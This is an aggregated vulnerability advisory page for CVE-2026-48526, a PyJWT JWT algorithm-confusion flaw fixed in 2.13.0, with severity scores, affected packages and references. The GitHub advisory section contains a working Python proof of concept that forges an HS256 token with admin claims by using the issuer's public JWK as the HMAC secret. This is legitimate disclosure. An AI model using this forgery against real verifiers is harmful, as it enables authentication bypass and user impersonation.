CVE-2026-48526
JSON

7.4high

PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

Severity
7.4high CVSS:3.1 by GitHub_M
Exploit likelihood
0.43% (higher than 38% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-xgmm-8j9v-c9wxPYSEC-2026-179

Description

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

Affected

Product or packageVersionsReported by
jpadilla pyjwt< 2.13.0CVE List
automation-controllerNot specified
Not affected: from 0:4.6.31-1.el8ap before *, from 0:4.6.31-1.el9ap before *, from 0:4.7.15-2.el9ap before *
CVE List
python3.12-pyjwtNot specified
Not affected: from 0:2.13.0-1.el9ap before *, from 0:2.13.0-1.el9pc before *
CVE List
fence-agentsNot specified
Not affected: from 0:4.16.0-21.el10_2.2 before *, from 0:4.16.0-5.el10_0.11 before *, from 0:4.10.0-110.el9_8.3 before *, from 0:4.10.0-43.el9_2.23 before *, from 0:4.10.0-62.el9_4.26 before *, from 0:4.10.0-86.el9_6.18 before *
CVE List
python-pyjwtNot specified
Not affected: from 0:2.13.0-1.el8pc before *, from 0:2.13.0-1.el9pc before *
CVE List
rhaiis/vllm-rocm-rhel9Not specified
Not affected: from 1782353093 before *
CVE List
rhaiis/vllm-cuda-rhel9Not specified
Not affected: from 1782352847 before *
CVE List
ansible-automation-platform-25/hub-rhel8Not specified
Not affected: from 1784050598 before *
CVE List
ansible-automation-platform-25/lightspeed-rhel8Not specified
Not affected: from 1784046511 before *
CVE List
ansible-automation-platform-26/gateway-rhel9Not specified
Not affected: from 1782761510 before *
CVE List
ansible-automation-platform-26/lightspeed-chatbot-rhel9Not specified
Not affected: from 1782650747 before *
CVE List
ansible-automation-platform-26/lightspeed-rhel9Not specified
Not affected: from 1782755166 before *
CVE List

All scores

GitHub_M7.4high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
redhat-SADP7.4high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
GitHub7.4high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
PyPA Advisory Database7.4high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Classification

CWE-287CWE-347

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

GitHub Advisory Database

[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.

Summary

When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.

Details

In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:

jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.

If we look on current protections implemented in the library, at class HMACAlgorithm:

  def prepare_key(self, key: str | bytes) -> bytes:
        key_bytes = force_bytes(key)

        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )

        return key_bytes

We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example: jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.

The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

PoC

Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

# Attacker-crafted token: flip to HS256 and choose claims
header  = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload

# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()

# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'
Impact

Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

NVD (es)

PyJWT es una implementación de JSON Web Token en Python. Antes de 2.13.0, cuando el verificador está decodificando JSON Web Tokens, mientras soporta tanto algoritmos asimétricos como HMAC, la biblioteca no valida el uso de JSON Web Keys en el algoritmo HMAC, permitiendo al atacante usar la clave pública del emisor como clave secreta para el algoritmo HMAC. Esta vulnerabilidad se corrige en 2.13.0.

References

https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wxevidence, exploit, vendor-advisory, web
https://access.redhat.com/security/cve/CVE-2026-48526vdb-entry
https://bugzilla.redhat.com/show_bug.cgi?id=2482734issue-tracking
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48526.json
https://access.redhat.com/errata/RHSA-2026:50319vendor-advisory
https://access.redhat.com/errata/RHSA-2026:50223vendor-advisory
https://access.redhat.com/errata/RHSA-2026:50336vendor-advisory
https://access.redhat.com/errata/RHSA-2026:34160vendor-advisory
https://access.redhat.com/errata/RHSA-2026:50222vendor-advisory
https://access.redhat.com/errata/RHSA-2026:50263vendor-advisory
https://access.redhat.com/errata/RHSA-2026:34365vendor-advisory
https://access.redhat.com/errata/RHSA-2026:35845vendor-advisory

Sources

SourceRecordLicence
CVE ListCVE-2026-48526 changed 2026-09-10CVE Terms of Use
GitHub Advisory DatabaseGHSA-xgmm-8j9v-c9wx changed 2026-09-10CC-BY-4.0
NVDCVE-2026-48526 changed 2026-10-26Public domain
PyPA Advisory DatabasePYSEC-2026-179 changed 2026-06-02CC-BY-4.0